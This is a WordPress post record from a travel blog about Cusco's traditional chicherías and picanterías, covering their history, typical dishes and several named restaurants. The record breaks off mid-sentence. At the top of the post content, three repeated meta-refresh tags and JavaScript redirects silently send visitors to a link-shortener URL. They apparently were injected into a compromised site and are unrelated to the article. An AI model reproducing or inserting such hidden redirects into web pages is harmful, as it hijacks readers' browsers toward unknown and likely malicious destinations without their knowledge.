{"id":16647,"date":"2025-08-19T10:22:22","date_gmt":"2025-08-19T15:22:22","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=16647"},"modified":"2025-08-19T10:22:26","modified_gmt":"2025-08-19T15:22:26","slug":"cuscos-chicherias-picanterias-a-taste-of-tradition","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/cuscos-chicherias-picanterias-a-taste-of-tradition\/","title":{"rendered":"Cusco\u2019s Chicher\u00edas &amp; Picanter\u00edas: A Taste of Tradition"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>If you really want to understand a city, sit down and eat like the locals. In Cusco, that means heading straight to a \u201cchicher\u00eda\u201d or a <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/picanterias-the-soul-of-peruvian-andean-cuisine\/\"><strong>\u201cpicanter\u00eda\u201d<\/strong>.<\/a><\/p>\n\n\n\n<p>These are two types of traditional eateries where culture, history, and Andean flavors blend together like corn in a simmering pot of lawa (thick soup).<\/p>\n\n\n\n<p>Therefore, whether you\u2019re a foodie, a curious traveler, or just really hungry, exploring these culinary spots is one of the best ways to connect with the real Cusco.\u00a0<\/p>\n\n\n\n<p>So, grab your spoon, loosen your belt, and get ready for a delicious ride through the world of chicha, chilies, and centuries-old recipes.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What Is a Chicher\u00eda?<\/strong><\/h2>\n\n\n\n<p>To begin with, a chicher\u00eda is a traditional Andean tavern that serves chicha de jora, a fermented corn beer that dates back to the<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-inca-empires-greatness-the-story-of-tahuantinsuyo\/\"><strong>Inca Empire.<\/strong><\/a><\/p>\n\n\n\n<p>During this era, chicha played a central role in society. As Incas considered<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-golden-legacy-of-the-peruvian-corn\/\"><strong>corn sacred<\/strong>,<\/a> chicha was used not just as food, but also as a ceremonial and political tool.&nbsp;<\/p>\n\n\n\n<p>Also, it was important in rituals, agricultural festivals, and state-sponsored feasts called c\u00e1pac hucha. These events helped strengthen social bonds and imperial unity.\u00a0<\/p>\n\n\n\n<p>Then, the state organized the production and distribution of chicha. This shows reciprocity, hierarchy, and cosmic order. Drinking chicha was a sacred act tied to identity and power.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/db71f0d7-1283-484c-ba8a-1b8bdc422222.png?resize=697%2C465&#038;ssl=1\" alt=\"Ancient Incas drinking chicha next to the Pisac Sacred Valley\" class=\"wp-image-16658\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/db71f0d7-1283-484c-ba8a-1b8bdc422222.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/db71f0d7-1283-484c-ba8a-1b8bdc422222.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/db71f0d7-1283-484c-ba8a-1b8bdc422222.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/db71f0d7-1283-484c-ba8a-1b8bdc422222.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/db71f0d7-1283-484c-ba8a-1b8bdc422222.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/db71f0d7-1283-484c-ba8a-1b8bdc422222.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Chicherias in the Republican Era<\/strong><\/h3>\n\n\n\n<p>Later, in the Republican era, after independence, chicher\u00edas experienced a wonderful transformation. Originally, these were simple, rural spaces run by indigenous women.&nbsp;<\/p>\n\n\n\n<p>Over time, they grew into lively picanter\u00edas, where people gathered to socialize and discuss politics. A diverse crowd, including workers, intellectuals, and musicians, frequented these venues.&nbsp;<\/p>\n\n\n\n<p>They played a vital role in keeping oral traditions alive, serving tasty food and drinks. Also, they had music, traditional<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-games-a-blend-of-fun-culture-and-tradition\/\"><strong> Peruvian games like sapo<\/strong><\/a>, and storytelling.&nbsp;<\/p>\n\n\n\n<p>In addition, this helped keep local sayings, proverbs, and cultural heritage alive. Eventually, chicher\u00edas faced challenges and were sometimes seen in a negative light; however,\u00a0their cultural importance helped them endure.<\/p>\n\n\n\n<p>During this era, these places became key for celebrating and shaping local identity. They kept their indigenous customs while adjusting to city life.\u00a0They acted like &#8220;cultural greenhouses,&#8221; protecting Andean traditions during modernization. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"450\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/bandera.jpg?resize=640%2C450&#038;ssl=1\" alt=\"The typical sign of a Chicheria in Cusco.\" class=\"wp-image-16660\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/bandera.jpg?w=640&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/bandera.jpg?resize=300%2C211&amp;ssl=1 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Chicherias Today<\/strong><\/h3>\n\n\n\n<p>&nbsp;Today, these places are often rustic, tucked into someone\u2019s home or a humble adobe building, and marked by a long stick with a colorful red plastic bag or red flag at the door\u2014Cusco\u2019s way of saying: \u201cWe\u2019ve got chicha today!\u201d<\/p>\n\n\n\n<p>Inside, you\u2019ll likely find long wooden benches, clay mugs, and barrels full of golden, fizzy chicha. The atmosphere is cheerful, sometimes chaotic, always communal.<\/p>\n\n\n\n<p>\u00a0Therefore, people don\u2019t come just to drink\u2014they come to share stories, laugh, and eat little plates of traditional snacks that pair beautifully with the earthy drink. Today, these beloved spaces face challenges from commercialization and tourism.\u00a0<\/p>\n\n\n\n<p>This could threaten their authenticity. However, they still symbolize the rich cultural legacy of Cusco and continue to be a source of pride for the community.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What Is a Picanter\u00eda?<\/strong><\/h2>\n\n\n\n<p>On the other side, a picanter\u00eda is more than just a restaurant\u2014it\u2019s an institution. Born in the highlands, these spots specialize in spicy, soulful food made from local ingredients passed down through generations.&nbsp;<\/p>\n\n\n\n<p>For example, the word picanter\u00eda comes from \u201cpicar\u201d (to be spicy); however,\u00a0 the fire is mostly flavor, not all tongue-scorching heat. <\/p>\n\n\n\n<p>Back in the day, picanter\u00edas would serve only one dish per day, often cooked in huge pots over wood fires.\u00a0<\/p>\n\n\n\n<p>So, if you didn\u2019t get a menu, you got what was cooking, and it was always good. The concept is simple: food made with love, served to everyone like family.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"469\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000242081W.jpg?resize=697%2C469&#038;ssl=1\" alt=\"Picantera using the batan to prepare  huacatay sauce \" class=\"wp-image-16649\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000242081W.jpg?resize=1024%2C689&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000242081W.jpg?resize=300%2C202&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000242081W.jpg?resize=768%2C517&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000242081W.jpg?resize=1536%2C1034&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000242081W.jpg?w=1800&amp;ssl=1 1800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000242081W.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>&#8220;Picantera&#8221; using a traditional batan to prepare a sauce<\/strong><\/figcaption><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>Why Are They Important?<\/strong><\/h2>\n\n\n\n<p>Chicher\u00edas and picanter\u00edas are guardians of culinary heritage. They preserve ancient recipes that blend Inca, Spanish, and local influences.&nbsp;<\/p>\n\n\n\n<p>Likewise, cooking is done in clay pots and with traditional tools like the bat\u00e1n, a flat grinding stone used by generations of Andean cooks. However, even more than the food, these places preserve community.&nbsp;<\/p>\n\n\n\n<p>Consequently, &#8220;picanterias&#8221; and &#8220;chicherias&#8221; are where local workers, neighbors, and travelers gather\u2014not just to eat, but to celebrate life, grumble about politics, talk football, and toast to whatever the day brings.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Must-Try Dishes<\/strong><\/h2>\n\n\n\n<p>Every picanter\u00eda has its signature dishes, but here are some timeless classics you\u2019re likely to encounter:<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4394691552_5eb8f86997_h-1.webp?resize=697%2C327&#038;ssl=1\" alt=\"Chiriuchu dish that contains cuy, rocoto, chicken, sausage, cheese, pork and tortilla\" class=\"wp-image-16650 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4394691552_5eb8f86997_h-1.webp?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4394691552_5eb8f86997_h-1.webp?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4394691552_5eb8f86997_h-1.webp?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4394691552_5eb8f86997_h-1.webp?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chiri-uchu-the-flavors-of-cuscos-corpus-christi\/\"><strong>\u00a0Chiriuchu<\/strong><\/a><\/h3>\n\n\n\n<p>A celebratory cold dish served during<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/cuscos-corpus-christi-saints-secrets-flavors\/\"><strong> Corpus Christi<\/strong><\/a>, but also found in traditional picanter\u00edas. It includes guinea pig, hen, jerky, sausage, fish roe, cheese, toasted corn, and seaweed. A cultural collage on a plate.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/lechon-cusqueno.jpg?resize=697%2C464&#038;ssl=1\" alt=\"dish that contains pork, chu\u00f1o and tamales.\" class=\"wp-image-16651 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/lechon-cusqueno.jpg?resize=1024%2C682&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/lechon-cusqueno.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/lechon-cusqueno.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/lechon-cusqueno.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/lechon-cusqueno.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>\u00a0Lech\u00f3n al Horno<\/strong><\/h3>\n\n\n\n<p>Oven-roasted pork with crispy skin and tender meat, usually accompanied by tamales or pan Cusque\u00f1o. Sundays are made for this dish\u2014families gather around it like a roast turkey on Thanksgiving.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/adobo-cusqueno_3-1024x683-2.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Dish that contains a hearty soup with bread\" class=\"wp-image-16653 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/adobo-cusqueno_3-1024x683-2.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/adobo-cusqueno_3-1024x683-2.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/adobo-cusqueno_3-1024x683-2.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/adobo-cusqueno_3-1024x683-2.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Adobo Cusque\u00f1o<\/strong><\/h3>\n\n\n\n<p>A hearty pork stew simmered in chicha de jora, aji panca, and <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-your-ultimate-guide-to-native-spices\/\"><strong>native spices<\/strong><\/a>. It\u2019s tangy, bold, and often enjoyed after a long night of fiesta\u2014yes, it\u2019s a local hangover remedy!<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/489686215_2707200049475386_8430092761264555986_n-1.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Hen browth with cassava, chu\u00f1o, hen potaotes, adn veggies\" class=\"wp-image-16657 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/489686215_2707200049475386_8430092761264555986_n-1.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/489686215_2707200049475386_8430092761264555986_n-1.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/489686215_2707200049475386_8430092761264555986_n-1.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/489686215_2707200049475386_8430092761264555986_n-1.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/489686215_2707200049475386_8430092761264555986_n-1.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/489686215_2707200049475386_8430092761264555986_n-1.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/489686215_2707200049475386_8430092761264555986_n-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>\u00a0Caldo de Gallina<\/strong><\/h3>\n\n\n\n<p>Comfort soup at its finest, in Cusco\u2019s style.&nbsp; A steaming bowl of hen soup with noodles, potatoes, and boiled egg. Simple, nourishing, and deeply satisfying.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/166982231_2866547400271446_3483946113865361019_n.jpg?resize=697%2C465&#038;ssl=1\" alt=\"cow's ribbs with corn, potatoes, rice, and salad.\" class=\"wp-image-16655 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/166982231_2866547400271446_3483946113865361019_n.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/166982231_2866547400271446_3483946113865361019_n.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/166982231_2866547400271446_3483946113865361019_n.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/166982231_2866547400271446_3483946113865361019_n.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/166982231_2866547400271446_3483946113865361019_n.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Costillar Frito\u00a0<\/strong><\/h3>\n\n\n\n<p>Crispy fried cow ribs, golden on the outside and juicy inside. Usually served with potatoes and a zingy huacatay salsa. It\u2019s rustic, flavorful, and perfect for meat lovers looking for a satisfying crunch in every bite<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/117592802_3169371686473749_2471758740154537667_n.jpg?resize=697%2C465&#038;ssl=1\" alt=\"stir fried udder with rice and salad\" class=\"wp-image-16656 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/117592802_3169371686473749_2471758740154537667_n.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/117592802_3169371686473749_2471758740154537667_n.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/117592802_3169371686473749_2471758740154537667_n.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/117592802_3169371686473749_2471758740154537667_n.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/117592802_3169371686473749_2471758740154537667_n.jpg?w=1439&amp;ssl=1 1439w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Ubre Apanada&nbsp;<\/strong><\/p>\n\n\n\n<p>Breaded and fried cow udder\u2014tender, rich, and surprisingly delicate in flavor. Often paired with rice and salad, this dish is a true picanter\u00eda gem for the adventurous eater seeking something uniquely traditional.<\/p>\n<\/div><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Where to Go: Classic &amp; Modern Picanter\u00edas in Cusco<\/strong><\/h2>\n\n\n\n<p>Ready to eat? Here are some of Cusco\u2019s best-known and most beloved chicher\u00edas and picanter\u00edas\u2014each one with its own flavor and charm.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>La Quinta Eulalia<\/strong><\/h3>\n\n\n\n<p>A true Cusco institution tucked into the heart of the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/san-blas-in-cusco-a-guide-to-the-bohemian-neighborhood\/\"><strong>San Blas neighborhood<\/strong><\/a>, La Quinta Eulalia has been dishing out hearty traditional fare since 1941.<\/p>\n\n\n\n<p>\u00a0Set inside a charming colonial house with patios and original tilework, it feels like dining in grandma\u2019s home.<\/p>\n\n\n\n<p>\u00a0Here, comfort food rules: chicharr\u00f3n, cuy chactado, roasted lamb, trucha frita, and rich stews all served fast and in large portions. <\/p>\n\n\n\n<p>The warm, no-frills service and relaxed courtyard ambiance make it a local favorite across generations.<\/p>\n\n\n\n<p>\u00a0? Choquechaca 384, San Blas<\/p>\n\n\n\n<p>&nbsp;? Try this: The cuy chactado is iconic\u2014crispy, juicy, and made the way it\u2019s been for decades.&nbsp;<\/p>\n\n\n\n<p><strong>&nbsp;&nbsp;&nbsp;Bonus:<\/strong> their chairo soup is a hidden gem.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"929\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/desde-1941.jpg?resize=697%2C929&#038;ssl=1\" alt=\"Quinta Eulalia picanteria main entrance\" class=\"wp-image-16663\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/desde-1941.jpg?resize=768%2C1024&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/desde-1941.jpg?resize=225%2C300&amp;ssl=1 225w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/desde-1941.jpg?w=960&amp;ssl=1 960w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Las Manuelitas<\/strong><\/h3>\n\n\n\n<p>Then, we have the Manuelitas, one of Cusco\u2019s oldest and most beloved picanter\u00edas. Las Manuelitas has been feeding generations since 1931. <\/p>\n\n\n\n<p>Run by the same family for nearly a century, it\u2019s as authentic as they come\u2014quietly legendary among locals.<\/p>\n\n\n\n<p>\u00a0For example, here you can expect deeply traditional dishes like olluquito con charqui,<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-cuy-in-peruvian-cuisine-importance-and-preparation\/\"> <strong>cuy al horno<\/strong><\/a>, oxtail stew, and aj\u00ed de lenteja, alongside house-made chicha de jora and frutillada. It&#8217;s all served in a simple, rustic setting with warm hospitality from staff who treat you like family.<\/p>\n\n\n\n<p>\u00a0? Jir\u00f3n Atahualpa 433, Urb. Tawantinsuyo<\/p>\n\n\n\n<p>&nbsp;? <strong>Try this: <\/strong>The costillar frito (crispy pork ribs) with fresh frutillada is a Cusco classic. Come early\u2014locals fill the place fast.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"511\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/477724641_1229953945244901_4507955893638775633_n.jpg?resize=697%2C511&#038;ssl=1\" alt=\"People at Manuelitas picanteria main entrance\" class=\"wp-image-16664\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/477724641_1229953945244901_4507955893638775633_n.jpg?w=959&amp;ssl=1 959w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/477724641_1229953945244901_4507955893638775633_n.jpg?resize=300%2C220&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/477724641_1229953945244901_4507955893638775633_n.jpg?resize=768%2C563&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>&nbsp;La Cusque\u00f1ita<\/strong><\/h3>\n\n\n\n<p>La Cusque\u00f1ita is a vibrant gem in Cusco\u2019s dining scene, blending authentic cuisine with cultural flair. Expect waiters in traditional attire, live folk music, and occasional dance performances that create a festive vibe.&nbsp;<\/p>\n\n\n\n<p>Consequently, the food steals the spotlight with hearty portions and bold flavors, showcasing Cusco classics like chiriuchu, lech\u00f3n, and aj\u00ed de gallina. <\/p>\n\n\n\n<p>Therefore, Cusque\u00f1ita is an ideal spot to dive into Peruvian cuisine, whether you\u2019re a first-timer or a seasoned fan.\u00a0\u00a0<\/p>\n\n\n\n<p><strong>Address:<\/strong> Avenida Tullumayo 227<\/p>\n\n\n\n<p><strong>Try this: <\/strong>Their caldo de gallina is famous, and the festive atmosphere is perfect for group meals or celebrations.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/un-ambiente-lleno-de-vida-en-la-cusquenita-pikanteria.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Inside Cusque\u00f1ita restaurant\" class=\"wp-image-16665\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/un-ambiente-lleno-de-vida-en-la-cusquenita-pikanteria.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/un-ambiente-lleno-de-vida-en-la-cusquenita-pikanteria.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/un-ambiente-lleno-de-vida-en-la-cusquenita-pikanteria.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/un-ambiente-lleno-de-vida-en-la-cusquenita-pikanteria.jpg?w=1300&amp;ssl=1 1300w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Cusque\u00f1\u00edsima<\/strong><\/h3>\n\n\n\n<p>This charming, modern-style picanter\u00eda offers a fresh take on tradition. It combines homey flavors with elegant plating and a peaceful ambiance.&nbsp;<\/p>\n\n\n\n<p>Wooden tables, colorful walls, and soft Andean music set the tone for a more relaxed experience. Cusque\u00f1\u00edsima specializes in lech\u00f3n, pepian, and sopa de quinua, but also surprises 